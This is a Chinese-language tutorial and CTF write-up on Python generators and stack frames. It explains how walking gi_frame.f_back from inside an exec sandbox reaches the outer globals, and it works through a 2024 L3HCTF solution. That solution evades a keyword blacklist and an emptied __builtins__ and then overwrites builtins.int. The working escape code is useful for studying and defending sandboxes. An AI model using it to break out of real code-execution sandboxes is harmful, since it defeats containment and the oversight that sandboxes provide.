Python利用栈帧沙箱逃逸
字数 1113
更新时间 2025-08-23 06:30:28
Python生成器与栈帧沙箱逃逸技术详解
1. 生成器基础
1.1 生成器概念
生成器(Generator)是Python中一种特殊的迭代器,特点:
- 逐个产生值
- 保留当前状态
- 适合处理大型数据集或延迟计算
1.2 生成器创建方式
使用yield关键字定义:
def count():
a = 1
while True:
yield a
a += 1
f = count()
print(next(f)) # 1
print(next(f)) # 2
print(next(f)) # 3
带范围的生成器:
def count_to_100():
a = 1
for i in range(100):
yield a
a += 1
f = count_to_100()
for value in f:
print(value)
1.3 生成器表达式
类似列表推导式,但使用圆括号:
a = (i + 1 for i in range(100))
for value in a:
print(value)
2. 生成器属性
生成器对象有几个重要属性:
gi_code: 生成器对应的code对象gi_frame: 生成器对应的frame(栈帧)对象gi_running: 生成器函数是否在执行gi_yieldfrom: 如果生成器正在从另一个生成器yield值,则为该生成器对象的引用gi_frame.f_locals: 包含生成器当前帧的本地变量的字典
3. 栈帧(frame)对象
栈帧是Python执行代码的数据结构,包含:
f_locals: 局部变量字典f_globals: 模块全局变量字典f_code: 代码对象(包含字节码指令等)f_lasti: 最后执行的字节码指令索引f_back: 指向上一级调用栈帧的引用
4. 栈帧沙箱逃逸技术
4.1 基本原理
通过生成器的栈帧对象利用f_back返回前一帧,从而逃逸出沙箱获取全局符号表。
4.2 基本示例
s3cret = "this is flag"
codes = '''
def waff():
def f():
yield g.gi_frame.f_back
g = f() # 生成器
frame = next(g) # 获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['s3cret'] # 返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals = {}
code = compile(codes, "test", "exec")
exec(code, locals)
print(locals["b"]) # 输出: this is flag
4.3 替代方法
可以使用f_locals代替f_globals,但要注意:
locals返回的是局部符号表- 局部变量只在当前函数执行过程中存在
5. __builtins__模块
__builtins__模块包含Python的内置函数、异常和其他内置对象。
查看所有内置函数和异常:
dir(__builtins__)
6. 实战案例:2024L3HCTF题目分析
6.1 题目限制
- 代码不能包含
__字符 - 黑名单限制:
blackList = ["process", "os", "sys", "interpreter", "cpython", "open", "compile", "__new__", "gc"] __builtins__被置空:exec(code, {"__builtins__": None}, locals)
6.2 解题思路
- 通过生成器栈帧逃逸获取沙箱外的globals
- 修改
__builtins__.int函数绕过检查
6.3 解决方案
def fake_int(i):
return 100001 * 100002
a = (a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]
builtin = a.f_back.f_back.f_globals["_"*2 + "builtins" + "_"*2]
builtin.int = fake_int
6.4 关键点
- 不能直接使用
next()函数(因为__builtins__被置空),改用列表推导式获取栈帧:a = [x for x in a][0] - 绕过
__限制的技巧:"_"*2 + "builtins" + "_"*2
7. 防御措施
防止栈帧逃逸的方法:
- 限制生成器的使用
- 监控和限制对
gi_frame属性的访问 - 严格控制
f_back和f_globals的访问 - 使用更严格的沙箱环境
8. 总结
栈帧逃逸技术利用了Python生成器和栈帧的特性,通过f_back链式访问可以突破沙箱限制。这种技术在CTF比赛中常见,但在实际开发中应避免使用,同时要注意防范此类安全漏洞。
相似文章
相似文章